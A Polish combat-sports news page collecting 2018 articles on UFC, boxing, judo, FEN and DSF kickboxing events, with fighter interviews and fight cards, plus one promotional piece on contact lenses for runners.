Z kolei w co-main evencie zobaczymy Edgara z Brianem Ortegą, który jeszcze nie zaznał goryczy porażki. Z kolei doświadczony Amerykanin wygrał dwie ostatnie walki. Edgar już dwukrotnie pretendował do pasa mistrzowskiego, ale przegrywał z Jose Aldo. Szykował się do trzeciej walki o tytuł, jednak nie przeszkodzie stanęła kontuzja Hollowaya. Jeśli Edgar pokona Ortegę, zapewne dostatnie jeszcze jedną szansę.

KM

PREMIERA: PZKB TV odc. 14

Zapraszamy do obejrzenia na żywo czternastego świątecznego odcinka programu z serii PZKB TV. Naszym gościem był Prezes Polski Związek Kickboxingu Piotr Siegoczyński. Rozmawialiśmy podczas transmisji live o przeszłości, teraźniejszości i przyszłości jaka czeka polski kickboxing.

[kod]

PREMIERA: PZKB TV odc. 16

Zapraszamy do obejrzenia szesnastego odcinka programu z serii PZKB TV. Naszym gościem był Mistrz Świata w Kickboxingu w formule Light-Contact, posiadacz pasa federacji DSF Kickboxing Challenge oraz wielokrotny Mistrz Polski Łukasz Wichowski.

[kod]

Jotko wraca po kontuzji, walka w kwietniu

Krzysztof Jotko ponownie zaprezentuje się w oktagonie. 28-letni Polak wystąpi podczas gali UFC on Fox 29, która odbędzie się 14 kwietnia w Glendale w Arizonie. Jego rywalem będzie Brad Tavares.

Dobiega końca absencja Krzysztofa Jotko, która była spowodowana kontuzją prawej ręki. Polski zawodnik wagi średniej doznał jej we wrześniowym starciu z Uriahem Hallem. Początkowo wydawało się, że Jotko zmierza po siódme zwycięstwo w UFC, ale w drugiej rundzie inicjatywę przejął rywal i mocnym ciosem zakończył walkę. Dla polskiego fightera była to druga porażka z rzędu, ale wyjątkowo pechowa. Jotko doznał kontuzji prawej ręki i musiał przejść operację, a potem stopniowo wracał do pełnej sprawności. Teraz Polak jest już gotowy na kolejne wyzwanie. 14 kwietnia w Glendale będzie czekał na niego Brad Tavares.

Z pewnością Polak nie może doczekać się kolejnej walki w UFC. Wczoraj podsycał atmosferę w mediach społecznościowych. – Czekacie na mój powrót? Papiery na najbliższą walkę już podpisane – napisał Jotko. Urodzony w Elblągu zawodnik nie będzie miał łatwego zadania. Stanie naprzeciw Brada Tavaresa, który w UFC rywalizuje już od ośmiu lat. 30-letni Amerykanin wygrał trzy ostatnie walki. Ostatnią porażkę zanotował w maju 2015 roku, kiedy przegrał z obecnym mistrzem wagi średniej Robertem Whittakerem. Co warto dodać, w większości przypadków Tavares wygrywa przez decyzję sędziów. Ostatnie dziewięć zwycięstw odnotował właśnie w taki sposób. Inaczej jest w przypadku porażek Amerykanina. Tavares zapisał cztery przegrane na swoim koncie, w tym trzy przed czasem.

Polscy kibice liczą, że Krzysztof Jotko będzie piątym pogromcą 30-latka. Nasz zawodnik potrzebuje zwycięstwa "jak ryba wody". Jotko znalazł się w trudnym położeniu. Jeszcze rok temu był w komfortowej sytuacji. Po pięciu wygranych z rzędu, jego akcje w wadze średniej stały wysoko. Jednak porażki z Davidem Branchem i wspomnianym Hallem sprawiły, że sytuacja Polaka skomplikowała się. Jotko wrócił do zdrowia, 14 kwietnia stoczy dziesiąty pojedynek w UFC. Pozostaje wierzyć, że 28-latek wróci na zwycięską ścieżkę.

W walce wieczoru gali UFC on Fox 29 zmierzą się zawodnicy wagi lekkiej: Justin Gaethje i Dustin Poirier.

Fot. Krzysztof Jotko Facebook

KM

LIVE: Liga Młodych Wojowników 3!!!

Polski Związek Kickboxingu​ oraz Federacja DSF Kickboxing Challenge​ zapraszają kadetów młodszych, starszych oraz juniorów na Ligę Młodych Wojowników, która odbędzie się 24.02.2018 r. w Warszawie w hali Białołęckiego Osrodka Sportu ul. Światowida 5. Transmisję telewizyjną na żywo przeprowadzi FighTime.pl – Telewizja sportów walki​.

Walki kadetów i juniorów na planszy kickboxingu odbędą się w formule Light contact zgodnie z regulaminem PZKB. Zgłoszenia do turnieju poprzez SOI. Liga Młodych Wojowników to wspólna inicjatywa PZKB oraz DSF Kickboxing Challenge mająca na celu promowanie młodych zawodników z klubów PZKB z których w przyszłości mogą narodzić się kadrowicze PZKB oraz zawodnicy walczący na galach DSF Kickboxing Challenge.

[kod]

Liga Młodych Wojowników 3!!!

Polski Związek Kickboxingu​ oraz Federacja DSF Kickboxing Challenge​ zapraszają kadetów młodszych, starszych oraz juniorów na Ligę Młodych Wojowników, która odbędzie się 24.02.2018 r. w Warszawie w hali Białołęckiego Osrodka Sportu ul. Światowida 5. Transmisję telewizyjną na żywo przeprowadzi FighTime.pl – Telewizja sportów walki​.

Walki kadetów i juniorów na planszy kickboxingu odbędą się w formule Light contact zgodnie z regulaminem PZKB. Zgłoszenia do turnieju poprzez SOI. Liga Młodych Wojowników to wspólna inicjatywa PZKB oraz DSF Kickboxing Challenge mająca na celu promowanie młodych zawodników z klubów PZKB z których w przyszłości mogą narodzić się kadrowicze PZKB oraz zawodnicy walczący na galach DSF Kickboxing Challenge.

Sulęcki rywalem Jacobsa?

28 kwietnia w Barclays Center miałoby dojść do starcia Macieja Sulęckiego z Danielem Jacobsem. Rozmowy w sprawie walki są zaawansowane – tak twierdzi Dan Rafael z ESPN.

Od kilku miesięcy Daniel Jacobs jest związany kontraktem promotorskim z Eddiem Hearnem. 31-letni Amerykanin ma wystąpić na gali HBO w Barclays Center, którą zaplanowano na 28 kwietnia. Obecnie trwają poszukiwania rywala dla Jacobsa. Wśród potencjalnych przeciwników Amerykanina wymieniano m.in. Irlandczyka Gary'ego O'Sullivana. 33-latek wygrał pięć ostatnich walk, a po raz ostatni przegrał w grudniu 2015 roku z Chrisem Eubankiem Jr. Kolejnym bokserem, który miał stanąć w szranki z Jacobsem był Andy Lee. Irlandczyk sięgnął w grudniu 2014 roku po tytuł mistrza świata WBO w wadze średniej pokonując Matwieja Korobowa. Tytuł stracił rok później na rzecz Billy'ego Joe Saundersa. W ostatnim pojedynku, marzec 2017, Lee pokonał KeAndrae Leatherwooda.

Jednak wedle ostatnich doniesień to nie pięściarze z Irlandii są faworytami do starcia z Jacobsem. Z byłym mistrzem świata WBA w wadze średniej miałby się zmierzyć Maciej Sulęcki. Co prawda popularny "Striczu" od roku rywalizuje w kategorii super półśredniej i kontynuuje zwycięską serię, co sprawiło, że został wyznaczony do finałowego eliminatora do mistrzowskiego tytułu WBC. 17 marca w Nowym Jorku Polak miałby boksować z Vanesem Martirosyanem.

Sytuacja Sulęckiego wydaje się komfortowa. Pięściarz z Warszawy ma w czym wybierać. Z jednej strony może wykonać krok w stronę mistrzowskiego pasa, z drugiej na horyzoncie pojawia się szansa starcia z mocnym bokserem. Wygrana Sulęckiego, którego akcje z każdą walką idą w górę może umocnić go w hierarchii wagi średniej i otworzyć przed Polakiem nowe możliwości.

Co do Daniela Jacobsa, 31-latek to niezwykle mocny pięściarz. Wygrał ponad 130 amatorskich potyczek, a na zawodowym ringu zanotował 33 zwycięstwa. W debiucie, 7 grudnia 2007 roku, potrzebował zaledwie 29 sekund, aby rozprawić się z Jose Jesusem Hurtado. Pas WBA wywalczył w sierpniu 2014 roku. Skutecznie bronił go w czterech starciach, co dało mu przepustkę do rywalizacji z Gennadijem Gołowkinem o panowanie w wadze średniej. Amerykanin toczył wyrównany bój z Kazachem, jednak to rywal po dwunastu rundach cieszył się ze zwycięstwa.

Nie ma wątpliwości, że Jacobs to fantastyczny pięściarz, ale również niezwykły walczak. Amerykanin wygrał najważniejszy pojedynek – o życie. Siedem lat temu pokonał nowotwór tkanki kostnej.

Czy w kwietniu będziemy obserwować starcie mocnego Amerykanina ze wspaniale rozwijającym się Polakiem? Czas pokaże.

KM

Tałach i Kuczera ze złotymi medalami

Świetny weekend za naszymi judokami. Karolina Tałach (63kg) oraz Piotr Kuczera (90kg) okazali się najlepsi w zawodach European Open, odpowiednio w portugalskim Odivelas i bułgarskiej Sofii. Ale to nie jedyne zdobycze biało-czerwonych.

Zacznijmy od pań, jak zwykło się robić. Zatem, do Odivelas udało się osiem Polek: Joanna Stankiewicz (48kg), Katarzyna Wiszniewska (48kg), Karolina Pieńkowska (52kg),  Anna Borowska (57kg), Julia Kowalczyk (57kg), Karolina Tałach (63kg), Paula Kulaga (78kg), Anna Załęczna (+78kg). Biało-czerwone z dwoma medalami uplasowały się na piątym miejscu w klasyfikacji końcowej. Najlepsze okazały się Japonki, które zdobyły pięć krążków.

Najwięcej powodów do radości z naszych zawodniczek miała Karolina Tałach. W ubiegłym roku 25-letnia zawodniczka ocierała się o podium, dwukrotnie była piąta. Pierwszy start w 2018 roku i od razu zwycięstwo! Po raz ostatni Polka na najwyższym stopniu podium stała w Zagrzebiu we wrześniu 2016 roku, kiedy to zwyciężyła w zawodach Grand Prix. W Portugalii Polka wygrała cztery pojedynki. Na początek uporała się z Angeles Aguilerą Lopez. Później toczyła zacięty bój z mistrzynią świata juniorek w drużynie Honoką Araki. W półfinale Tałach szybko poradziła sobie z najlepszą zawodniczką Oceanii Kathariną Haecker, a w decydującym boju rozbiła Hiszpankę Cristinę Cabanę Perez.

O krok od zwycięstwa była Karolina Pieńkowska (52kg). Lepsza od młodzieżowej mistrzyni Europy z 2015 roku z Bratysławy okazała się Kanadyjka Ecaterina Guica. Pieńkowska wygrała trzy pojedynki. Niewiele do podium zabrakło Julii Kowalczyk. 20-latka zaczęła od dwóch zwycięstw, a w półfinale zatrzymała ją Hiszpanka Jaione Equisoain. W walce o brąz lepsza od Kowalczyk była Japonka Yuka Watabe, która triumfowała przed czasem. Warto dodać, że wcześniej zawodniczka z Kraju Kwitnącej Wiśni odprawiła Annę Borowską. Siódme miejsce zajęła Anna Załęczna. Nasze pozostałe judoczki stoczyły po jednej walce i pożegnały się z turniejem.

Kuczera najlepszy

Poprzedni rok Polak rozpoczął od zwycięstwa w Rzymie. Teraz okazał się najlepszy w Sofii. Piotr Kuczera wygrał pięć pojedynków, po drodze pokonując m.in. Rafała Kozłowskiego. W finale judoka Kejza Team Rybnik wygrał z reprezentantem Izraela Li Kochmanem.

Łącznie w Sofii wystartowało dziesięciu Polaków. O krok od podium był Damian Szwarnowiecki (81kg). Polak o brąz rywalizował z Belgiem Samim Chouchi, jednak przegrał przed czasem. Siódme miejsce Rafała Kozłowskiego (90kg). Damian Stępień (81kg), Szymon Jasiński (66kg) i Bartłomiej Garbacik (60kg) stoczyli tylko po jednej walce. Zwycięsko zaczęli, ale potem przegrywali – tak było w przypadku Jacka Brysza (66kg), który zaliczył trzy starcia oraz Łukasz Golusa (66kg) i Michała Bartusika (73kg). Dwaj ostatni zapisali na swoim koncie po jednym zwycięstwie i jednej porażce.

 

KM

Znamy nazwisko rywala Trybsona na FEN 20!

Znamy nazwisko rywala, z którym 10 marca podczas gali Fight Exclusive Night 20 "Next Level" zmierzy się Paweł "Trybson" Trybała (3-3, 3KO). Naprzeciwko niego w warszawskiej hali Towar zobaczymy Tymoteusza Świątka (15-4, 7 KO, 6 SUB).

„Trybson” kontrakt z FEN podpisał we wrześniu, ale nie udało mu się zadebiutować podczas 19. edycji, która odbyła się we Wrocławiu. Wtedy zawodnik miał problemy zdrowotne, które uniemożliwiły mu wyjście do klatki.

– Nie mogę już się doczekać 10 marca. Aż chce się trenować z myślą, że przyjdzie mi pokazać się przed tak liczną publicznością podczas tak znakomitej gali – powiedział „Trybson”.

Świątek już czterokrotnie walczył pod szyldem FEN i był ważnym ogniwem federacji, gdy ta dopiero wchodziła na salony w polskim MMA. Popularny "Omen" wygrywał z takimi zawodnikami, jak Pavel Svoboda, Gerard Linder czy Martin Fouda. Kibice mieszanych sztuk walki mogą pamiętać go ze słynnej walki z Voctorem Marinho na FEN 6. Świątek z 15 wygranych pojedynków aż 13 zakończył przed czasem. To właśnie je wgoidowiskowy styl ma pomóc w pokonaniu "Trybsona" przed warszawską publicznością.

– Energetyka w tym starciu będzie ogromna, ale ja się cieszę – kibice tłumnie stawią się w Torwarze, by zobaczyć między innymi ten pojedynek. To nie potrwa pełnego dystansu trzech rund – jestem o tym przekonany – powiedział Paweł Jóźwiak, prezes FEN.

Pojedynek Pawła Trybały z Tymoteuszem Świątkiem odbędzie się w limicie umownym 80 kg.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć na stronie: http://fen-mma.com/bilet/

Świątek przed FEN 20: Sorry Paweł, ale będę musiał cię znokautować

Tymoteusz Świątek (15-4, 7 KO, 6 SUB) zmierzy się Pawłem "Trybsonem" Trybałą (3-3, 3 KO) podczas gali Fight Exclusive Night 20 'Next Level", która 10 marca odbędzie się w Warszawie. Poplarny "Omen" podkreśla, że największym jego problemem jest… brak cierpliwości.  – Gotuję się, chciałbym wyjść z nim do klatki już dzisiaj! – powiedział podczas pierwszego wywiadu udzielonego tuż po ogłoszeniu tego zestawienia.

Długo wiesz o tej walce?

TŚ: Trochę już wiem, pewnie ponad dwa tygodnie. Dostałem telefon i od razu się zgodziłem. Warunki mi odpowiadały, nie było z czym zwlekać. Jestem zawodnikiem, jestem wojownikiem, mogę się bić z każdym. Cieszę się, że 10 marca wyjdę naprzeciwko Trybsona. To dobry zawodnik, widziałem kilka jego walk. Jest dobry, ale… ale ja jestem lepszy. Więc, Paweł, sorry, ale będę musiał cię pokonać.

Trybson będzie chciał cię znokautować.

TŚ: Takie gadanie. A ja chcę znokautować jego i to też będę chciał uczynić 10 marca. Przepraszam – to też uczynię. Wyjdę jak po swoje i wygram – taki jest plan.

Do walki zostało pięć tygodni.

TŚ: I to martwi mnie najbardziej – nie mogę się już tego doczekać. Najchętniej przeniósłbym się w czasie do pierwszego gongu i już chciałbym być w klatce. Niestety – do tego muszę jeszcze chwilę poczekać. Mam nadzieję, że to szybko zleci.

Ostatnio znowu było o tobie bardzo głośno.

TŚ: Wiem, ale nie chcę już do tego wracać. Dużo rzeczy za mną, nie wszystko było dobre, kilka razy się pogubiłem, ale każdy popełnia błędy. Zmądrzałem, wydoroślałem, inaczej patrzę na życie. Sport to cały mój świat, nie mogę tego zaprzepaścić. Trochę już się w to bawię, wiem jak smakuje sukces, wiem również co to porażka. Czasami trzeba wpaść w dołek, żeby pewne rzeczy sobie poukładać. Ja już mam ten okres za sobą. Od gali w Warszawie wskoczą na nowy, jeszcze wyższy poziom, nie tylko jako zawodnik, ale też jako człowiek. Zwycięstwo z Trybsonem wprowadzi mnie na właściwy szlak po marzenia, które mam i o które zamierzam walczyć. Wiem, co o mnie napisano, czytałem to, było mi przykro, ale dużo było w tym kłamstw i oszczerstw. Omen wróci do klatki, bo zrobił sobie rachunek sumienia i teraz musi swoją wartość pokazać w oktagonie. Bądźcie ze mną na Torwarze.

Jak spędzisz najbliższe pięć tygodni?

TŚ: Będę zasuwał każdego dnia. Muszę zgubić trochę brzucha, wyrzeźbić się, kaloryfer i te sprawy. A tak poważnie, to wychodzę na trening i walczę o swoje marzenia. To jest dla mnie motywacja, by każdego dnia wstawać rano i się nie poddawać. Zwycięstwo z Trybsonem będzie dla mnie ważne. Coś udowodnię sobie, ale i wszystkim moim hejterom. Paweł, szanuję cię jako zawodnika, ale będziesz musiał ze mną przegrać. Omen wraca w wielkim stylu od zwycięstwa na FEN 20.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bratkowicz z pasem mistrzowskim

Gala DSF Kickboxing Challenge 13 we Wrocławiu niosła ze sobą ogromne sportowe emocje. W walce wieczoru Maksymilian Bratkowicz pokonał Mateusza Kubiszyna. Michał Turyński ponownie lepszy od Dzevada Poturaka, a w meczu międzypaństwowym Polacy przegrali z Czechami.

Niezwykle gorąca atmosfera towarzyszyła pojedynkowi Maksymiliana Bratkowicza i Mateusza Kubiszyna o pas kategorii 86kg. Główni aktorzy gali DSF Kickboxing Challenge 13 we Wrocławiu skutecznie budowali napięcie przed walką. Dodatkową motywacją dla Bratkowicza była chęć rewanżu za porażkę, której doznał podczas DSF "Najlepsi z Najlepszych" w grudniu 2016 roku. W Warszawie na punkty wygrał Kubiszyn. Na przestrzeni ostatnich miesięcy Bratkowicz spisywał się znakomicie i w Budapeszcie zdobył mistrzostwo świata. Teraz chciał być bykiem, który pokona torreadora. Kubiszyn spokojnie podchodził do tych deklaracji i zapowiadał, że to on zasiądzie na tronie. Obaj zawodnicy zapewniali, że w ich walce poleje się krew. Tym razem panowie również spędzili w ringu pełen dystans. Pełna determinacji walka zakończyła się sukcesem Bratkowicza, który w organizacji DSF pokazał ogromne możliwości. Notował porażki, ale niezłomna postawa i ciężka praca doprowadziły go na szczyt. Tym razem Mateusz Kubiszyn musiał przełknąć gorycz porażki.

Michał Turyński ponownie lepszy od Dzevada Poturaka. Wygrał w Sarajewie, triumfował we Wrocławiu i nadal pozostaje w posiadaniu pasa mistrzowskiego WAKO pro w formule low kick w kategorii 94kg. Na przestrzeni pięciu rund doświadczony Bośniak nie potrafił zagrozić Turyńskiemu. Mistrz nie pozostawił sędziom żadnych wątpliwości, co do tego, kto jest lepszym zawodnikiem.

Widowisko godne uwagi – z pewnością tak kibice zapamiętają starcie o pas mistrza świata WAKO Pro w K-1 w kategorii do 64,5kg. Eliasz Jankowski i Yuriy Zhukovsky nie oszczędzali się. Zawodnicy toczyli zacięty bój, jednak ostatni głos należał do sędziów, którzy nie byli jednomyślni. Ze zwycięstwa cieszył się Białorusin.

Nie było wejścia smoka w wykonaniu Pawła Biszczaka do organizacji DSF. Abdallah Mabel wysoko zawiesił poprzeczkę 32-letniemu Polakowi, który do niedawna z powodzeniem rywalizował na galach organizacji FEN. We Wrocławiu Biszczak musiał trzymać na baczności, bo Mabel to wszechstronny zawodnik. Dopiero dogrywka pozwoliła wyłonić zwycięzcę. Triumfował Mabel.

Dawid Zółtaszek po raz pierwszy miał okazję rywalizować w Polsce. Z powodzeniem. Sędziowie nie mieli wątpliwości, kto rozdawał karty w starciu kategorii wagowej +91kg. Łukasz Lipniacki został wypunktowany przez Żółtaszka.

Czesi fantastycznie rozpoczęli mecz międzypaństwowy z Polską. Trzy pojedynki i wszystkie wygrane. Paweł Józefowicz postawił się Denisowi Farkasowi, ale przegrał niejednogłośną decyzją sędziów. Huraganowe ataki Adama Audy szybko przyniosły efekt. Marcin Bachórz przegrał już w pierwszej rundzie. Dzieła dopełnił Anatoli Hunanyan, który w drugiej odsłonie znokautował Dominika Zadorę. Udany debiut w DSF zaliczyła Róża Gumienna, choć nie miała łatwego zadania. Lucie Mlejnkova okazała się twardą i nieustępliwą rywalką. Gumienna wygrała jednak 2:1 po morderczej batalii. W ostatnim pojedynku polsko-czeskiego meczu Adam Gielata pokonał Tadeasa Ruzickę.

W hali Orbita zwycięstwa świętowali również Tomasz Brotoń, po wyrównanej walce z Mateuszem Brusiło, oraz Dominik Tomcia, który jednogłośną decyzją sędziów pokonał Krystiana Bernatowicza.

Kolejna gala DSF Kickboxing Challenge odbędzie się 13 kwietnia na warszawskim Torwarze.

Fot. DSF Kickboxing Challenge Facebook

KM

Najlepsze soczewki kontaktowe dla biegacza

Wada wzroku nie musi przeszkadzać w wykonywaniu ulubionych aktywności fizycznych na co dzień. Najlepsze szkła kontaktowe dla biegaczy to takie, które wykonane są z lekkich i miękkich hydrożelowych materiałów. Soczewki nie parują i zapewniają szerokie pole ostrego widzenia a ryzyko, że wypadną z oka jest minimalne. Dla osób aktywnych fizyczne zalecane są szkła kontaktowe jednodniowe.

Jakie soczewki kontaktowe dla osób uprawiających sport?

Soczewki kontaktowe powinny być dobierane indywidualnie do wady wzroku, tylko i wyłącznie w profesjonalnym gabinecie okulistycznym. Poszczególne schorzenia oczu wymagają odmiennej korekcji, czasem innej na każde oko, dlatego dobór soczewek powinien być uzgodniony z okulistą.  O rodzajach szkieł kontaktowych przeznaczonych do korekcji konkretnej wady wzroku można przeczytać na stronie internetowej: mojepierwszesoczewki.pl. Za pośrednictwem portalu można również umówić się na wizytę u okulisty rozszerzoną o dobór soczewek.

Miękkie soczewki kontaktowe jednodniowe

Miękkie soczewki kontaktowe korygują większość wad wzroku. Wykonane są z delikatnych hydrożelowych lub silikonowo-hydrożelowych materiałów o dużej przepuszczalności tlenu, dlatego idealnie sprawdzają się dla osób uprawiających sport, w tym także biegaczy. Dobrze dobrane soczewki kontaktowe są nieodczuwalne w oku i pozwalają komfortowo ćwiczyć ulubioną dziedzinę sportową. Dla osób prowadzących aktywny tryb życia polecane są soczewki jednodniowe, które nie wymagają codziennej pielęgnacji i są bardzo wygodne w użytkowaniu. 

Soczewki kontaktowe – zalety

Soczewki kontaktowe, w przeciwieństwie do tradycyjnych okularów korekcyjnych, nie parują przy zmianie temperatury. Nie ograniczają one również widzenia w wyniku niekorzystnych warunków atmosferycznych, takich jak: śnieg czy deszcz. Soczewki kontaktowe zapewniają również szerokie pole widzenia a obraz, jaki się widzi nie ulega zniekształceniu. Noszenie szkieł kontaktowych nie przeszkadza w zakładaniu na głowę kasku czy gogli ochronnych, a ryzyko ich zgubienia jest minimalne. Soczewki to idealne rozwiązanie dla osób, o dużych różnicach w natężeniu wad wzroku w prawym i lewym oku. W czasie noszenia szkieł kontaktowych nie występują efekty pryzmatyczne, ponieważ soczewka dopasowuje się do kształtu oka i swobodnie przemieszcza się razem z ruchami gałki ocznej.

Błachowicz nie pozostał dłużny mistrzowi UFC

Wymiana to nieodłączny element MMA, boksu czy kickboxingu. Jednak nie chodzi wyłącznie o ciosy, ale także o słowa. W ostatnich dniach mistrz UFC wagi półciężkiej zakpił z Jana Błachowicza. Polak nie pozostał dłużny i odpowiedział.

Bitwa na słowa

Do klasyki polskiego kina przejdzie powiedzenie głównego bohatera filmu "Kiler" – "Twardym trzeba być, a nie miętkim". I tak właśnie jest w sportach walki. Chwila nieuwagi, może mieć poważne konsekwencje. Ale nie tylko w oktagonie. Zawodnicy MMA udzielają wywiadów, sprawnie funkcjonują w mediach społecznościowych i starają się wykorzystywać te kanały. Dla wielu są to narzędzia, które pozwalają poprawić swoje położenie w hierarchii atrakcyjności. A wymiana słowna z rywalem sprawia, że wartość marketingowa starcia rośnie. Kibice żyją tym, co dzieje się wokół kolejnych gal i walk.

Bohaterem ostatnich dni stał się Jan Błachowicz. Jego nazwisko przywołał mistrz wagi półciężkiej Daniel Cormier. Blisko 39-letni Amerykanin podczas lipcowej gali UFC 226 zmierzy się ze Stipe Miocicem. Pojedynek zapowiada się niezwykle ciekawie, ale z pewnością inni fighterzy wagi półciężkiej chcieliby zaatakować pas. O rewanżu z Cormierem marzy Alexander Gustafsson. Przypomnijmy, Szwed w październiku 2015 roku spędził w oktagonie z Amerykaninem pięć rund i przegrał niejednogłośną decyzją. Gustafsson musi odłożyć swoje marzenia na później. W jednym z programów Cormier w prześmiewczy sposób wypowiedział się o ostatnich walkach Szweda. Oberwał również Jan Błachowicz, który przegrał ze Skandynawem. Mistrz wagi półciężkiej drwił z faktu, że Gustafsson "musiał pójść w zapasy" z Błachowiczem.

Warto dodać, że Cormier wywodzi się z zapasów. Zajął czwarte miejsce na Igrzyskach Olimpijskich w Atenach, pięciokrotnie zdobywał mistrzostwo USA. W związku z wypowiedzią Cormiera do tablicy poczuł wywołany się Jan Błachowicz. Polak odpowiedział Amerykaninowi w mediach społecznościowych. –  Dziękuję za twój "szacunek". Prawdą jest, że kiedy będę walczył z tobą, będziesz szukał obaleń… na kolanach już od szatni – napisał zawodnik pochodzący z Cieszyna. Ciekawe, czy ta wymiana będzie kontynuowana? A może za kilka miesięcy pojawi się temat walki Polaka i Amerykanina?

Bieżące plany

Zarówno Cormier, jak i Błachowicz mają zaplanowane najbliższe pojedynki. Amerykanin w starciu mistrzowskim zmierzy się ze Stipe Miocicem. Walka odbędzie się 7 lipca podczas gali UFC 226 w Las Vegas.

Z kolei Jan Błachowicz, który cztery lata temu podpisał umowę z najlepszą organizacją MMA na świecie, szykuje się do rewanżu z Jimim Manuwą. Polak uległ Anglikowi podczas gali UFC Fight Night 64 w Krakowie. 17 marca w Londynie Błachowicz będzie chciał odnieść trzecie zwycięstwo z rzędu. Jeśli mu się uda, jego akcje pójdą w górę i awansuje do grona najlepszych w kategorii półciężkiej.

KM

Ziółkowski przed FEN 20: Walka o pas w Warszawie to dla mnie życiowa szansa

Marian Ziółkowski (17-5, 3 KO, 12 SUB) zmierzy się z Mateuszem Rębeckim (5-1, 4 SUB) podczas gali FEN 20 "Next Level". Stawką w tym starciu będzie pas mistrzowski federacji w kategorii lekkiej. Co słychać u popularnego "Golden Boy'a"? W jakiej jest formie sześć tygodni przed walką? Zapraszamy do przeczytania rozmowy!

Tryskasz humorem, u ciebie chyba w porządku, prawda?

Marian Ziółkowski: Tak, zdecydowanie. Wszystko idzie zgodnie z planem, nie mam prawa na co narzekać. Przygotowania idą jak po sznurku, wróciłem z Brazylii i czekam na kolejne jednostki treningowe oraz sparingi. Zdrówko dopisuje, to najważniejsze, stopniowo jestem coraz lepszy, a to dopiero początek. Zostało sześć tygodni do walki i już nie mogę się doczekać.

Czujesz ekscytację? 

MZ: Na pewno, To jak do tej pory mój najważniejszy pojedynek w karierze. Stoczę walkę w Warszawie, czyli swoim mieście, będę mógł na własnej ziemi zdobyć pas mistrzowski federacji, która sporo znaczy w mieszanych sztukach walki. Cieszę się, że moje starania zostały wynagrodzone i będę mógł pokazać się z jak najlepszej strony.

Dużo osób zastanawia się, jak ten pojedynek będzie wyglądał. Mateusz Rębecki jest od ciebie duży niższy, będziesz miał ogromną przewagę, jeżeli chodzi o zasięg.

MZ: To prawda, trudno bedzie Mateuszowi znaleźć sparingpartnera o podobnych gabarytach. To będzie mój atut, grzechem byłoby nie chcieć z tej przewagi skorzystać.

A może to będzie twoja bolączka? Rębecki będzie doskonale wiedział, na co musi zwrócić uwagę.

MZ: Niech Mateusz układa to sobie w głowie tak, jak chce – to jego sprawa. Mniejsi zawodnicy mają to do siebie, że są szybsi, w ten sposób będą chcieli ewentualne braki maskować. Do tego dochodzi walka w półdystansie, siła – to wszystko ma znaczenie.

Nad siłą pracujesz?

MZ: Tak, pracuję, muszę być gotowy na wszystkie ewentualności. Dziwnie to brzmi, ale ja po raz pierwszy w życiu wziąłem kreatynę. Trenuje, również siłowo, jestem coraz starszym zawodnikiem i muszę robić wszystko, żeby być coraz bardziej uniwersalnym fighterem.

Nad szybkością też musisz pracować.

MZ: Jestem szybki, zawsze byłem. Nawet, gdy walczyłem z Romanem Szymańskim, to on nie mógł mnie trafić w stójce – może z raz otrzymałem od niego cios. Mateusz może być ode mnie bardziej dynamiczny, ale szybszy ode mnie nie będzie.

Ile ty ważysz dzisiaj?

MZ: Około 77 kilogramów, czasami nawet 75 – nie mam dużo do zbijania. Bez żadnego problemu zmieszczę się w limicie – nigdy nie miałem z tym problemu.

Matusz na co dzień waży więcej.

MZ: Wiem, zdaję sobie z tego sprawę. Nie zajmuję się nim – skupiam się na sobie. Niech waży ile chce – to ja wygram 10 marca i zdobędę pas mistrzowski.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Bratkowicz: „On albo ja, jeden na pewno padnie!” || KUBISZYN: „Już powoli rozpalam ogień!”

Robi się bardzo gorąco przed sobotnią galą DSF Kickboxing Challenge 13! Za sprawą tej imprezy Hala Orbita we Wrocławiu stanie się areną zmagań najlepszych fighterów w Europie. W walce wieczoru Maksymilian Bratkowicz zmierzy się po raz drugi z Mateuszem Kubiszynem. Zwycięzca pojedynku pomiędzy dwoma mistrzami świata zostanie pierwszym w historii federacji czempionem wagi średniej (-86 kg).

To klasyczne starcie byka z matadorem. Bykiem jest w tym zestawieniu piekielnie silny i uparty Bratkowicz. Matadorem – sprytny i wszechstronny Kubiszyn. Brutalność K-1 spotka się z finezją Full Contactu. Szanse rozkładają się 50-50. Obaj zawodnicy biją i kopią szalenie mocno, o czym w 2017 roku przekonało się wielu rywali.

Zobacz zapowiedź walki Bratkowicz-Kubiszyn II >>>

